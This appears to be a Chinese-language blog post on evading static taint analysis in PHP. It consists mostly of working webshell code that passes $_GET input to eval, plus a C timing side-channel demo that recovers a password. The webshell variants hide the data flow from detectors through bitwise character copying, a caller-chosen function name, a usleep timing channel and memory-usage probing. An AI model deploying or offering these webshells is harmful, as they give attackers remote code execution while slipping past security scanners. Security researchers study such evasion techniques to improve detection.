绕过污点分析的一些思考

#demo.php<?php    $a = $_GET['a'];// source点，通过GET输入的数据会标记成污点信息  $b = base64_decode($a);//变量$b被$a污染了  eval($b); // sink,污点$b传到了eval处。?>

❯ php .demo.phpstring(1166) "array(    0: Stmt_Expression(        expr: Expr_Assign(            var: Expr_Variable(                name: a //source            )            expr: Expr_ArrayDimFetch(                var: Expr_Variable(                    name: _GET                )                dim: Scalar_String(                    value: a                )            )        )    )    1: Stmt_Expression(        expr: Expr_Assign(            var: Expr_Variable(                name: b            )            expr: Expr_FuncCall(                name: Name(                    parts: array(                        0: base64_decode                    )                )                args: array(                    0: Arg(                        name: null                        value: Expr_Variable(                            name: a //source                        )                        byRef: false                        unpack: false                    )                )            )        )    )    2: Stmt_Expression(        expr: Expr_Eval(            expr: Expr_Variable(                name: b //source            )        )    )    3: Stmt_Nop(    ))"

<?php
$temp = $_GET['a'];$cha = $_GET['chr'];$bbb = "";for($i=0;$i < strlen($temp);$i++){  $ch = 0;  $temps = 0;  $temps2 = 0;  $kkkk = "1";  for($j=0;$j < 8;$j++)  {    $temps = ord($temp[$i]);//source    $temps2 = $temps & (1 << intval($j));    if($temps2 != 0)//source    {      $ch |= 1 << $j;//source    }  }  $bbb .= $cha($ch);//source}eval($bbb);?>

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>#include <cacheutils.h>#include "secret.h"
#define NUM_SAMPLES     100000#define DELAY           1
uint64_t diff[NUM_SAMPLES];int user_len, secret_len;
char *read_from_user(void) //提供读写给用户{    char *buffer = NULL;    int len; size_t size;
    printf("Enter super secret password ('q' to exit): ");    if ((len=getline(&buffer, &size, stdin)) != -1)    {        buffer[len-1]='';        printf("--> You entered: '%s'n", buffer);        return buffer;    }    else    {        printf("--> failure to read linen");        return NULL;    }}
void delay(void) //延迟函数，空白的for循环函数{    volatile int i;    for (i=0; i<100;i++);}
int check_pwd(char *user)//检测密钥是否正确{//检查的方式    int i;    if (user_len != secret_len)//首先匹配长度是否一致        return 0;    delay();//延迟函数
    for (i=0; i < user_len; i++)//然后逐字检查    {        if (user[i] != SECRET_PWD[i])            return 0;        delay();//延迟函数    }    return 1;}
int compare(const void * a, const void * b) {   return ( *(uint64_t*)a - *(uint64_t*)b );}
int main(){    char *pwd;    int j, allowed = 0;    uint64_t tsc1, tsc2, med;
    while ((pwd = read_from_user()) && strcmp(pwd, "q"))    {      user_len = strlen(pwd);      secret_len = strlen(SECRET_PWD);        for (j=0; j < NUM_SAMPLES; j++)//10000次循环比较        {            tsc1 = rdtsc_begin();//计时开始            allowed = check_pwd(pwd);            tsc2 = rdtsc_end();//结束计时            diff[j] = tsc2 - tsc1;//将结果存入diff数组        }
        if (allowed)        {            printf("< ACCESS ALLOWED >n");        }        else        {            printf("< ACCESS DENIED >n");        }        qsort(diff, NUM_SAMPLES, sizeof(uint64_t), compare);//将结果排序        med = diff[NUM_SAMPLES/2];//输出众数        printf("time (med clock cycles): %lun", med);
        free(pwd);
    }    return 0;}

pw0rld@pw0rld-code [11时34分52秒] -> % cat secret.h #ifndef SECRET_H_INC#define SECRET_H_INC
#define SECRET_PWD      "524"//猜测的密钥是524#define FR_SECRET       5
#endifpw0rld@pw0rld-code [11时34分56秒] -> % ./a.out     Enter super secret password ('q' to exit): 6 --> You entered: '6'< ACCESS DENIED >  //由于上面check的流程是先检测密码的长度，我们先确定密码的位数time (med clock cycles): 84Enter super secret password ('q' to exit): 54--> You entered: '54'< ACCESS DENIED >time (med clock cycles): 84Enter super secret password ('q' to exit): 123--> You entered: '123'< ACCESS DENIED >time (med clock cycles): 457 //输入三位之后，明显的发现测量的time变大了Enter super secret password ('q' to exit): 543--> You entered: '543'< ACCESS DENIED >time (med clock cycles): 978  //由于check是逐个比较的，第一位比较失败就不会往下比较。因此确定第一位Enter super secret password ('q' to exit): 542--> You entered: '542'< ACCESS DENIED >time (med clock cycles): 978Enter super secret password ('q' to exit): 515--> You entered: '515'< ACCESS DENIED >time (med clock cycles): 976Enter super secret password ('q' to exit): 521--> You entered: '521'< ACCESS DENIED >time (med clock cycles): 1367  //确定第二位Enter super secret password ('q' to exit): 522--> You entered: '522'< ACCESS DENIED >time (med clock cycles): 1367Enter super secret password ('q' to exit): 523--> You entered: '523'< ACCESS DENIED >time (med clock cycles): 1367Enter super secret password ('q' to exit): 524--> You entered: '524'< ACCESS ALLOWED >time (med clock cycles): 1601  //确定答案Enter super secret password ('q' to exit):

<?php $temp = $_GET['a']; //source $test = new SplQueue();$time_stack = new SplQueue();
for($i=0;$i < strlen($temp);$i++){    $test->enqueue(ord($temp[$i]));//获取ascii存入队列，source}while(1){    if(($test->isEmpty()))//source    {        break;    }
    $start = microtime(true);//干净的    usleep(($test->dequeue())*20000);// ascii 1毫秒   source    // $end = microtime(true); //干净的    $end = microtime(true); //干净的
    $test->next();    $timesta = ceil(($end - $start)*1000);//干净的    $time_stack->enqueue(ceil(($timesta / 2) /10) - 1);//干净的}$hahh = "";while(!($time_stack->isEmpty())){    $caaaa = $time_stack->dequeue();    $hahh .= chr($caaaa);    $time_stack->next();}
eval($hahh);  ?>

<?php$acsii_array = array();
for($i = 33;$i<127;$i++ ){  $start =  memory_get_usage(); // 36640  $a = str_repeat("b", $i);  //之间相差 32+$aa-1  $ends =  memory_get_usage(); // 57960  $k = $ends - $start - $i;  $acsii_array[chr($i)] = $ends - $start;  unset($a);}print_r("<pre>");print_r($acsii_array);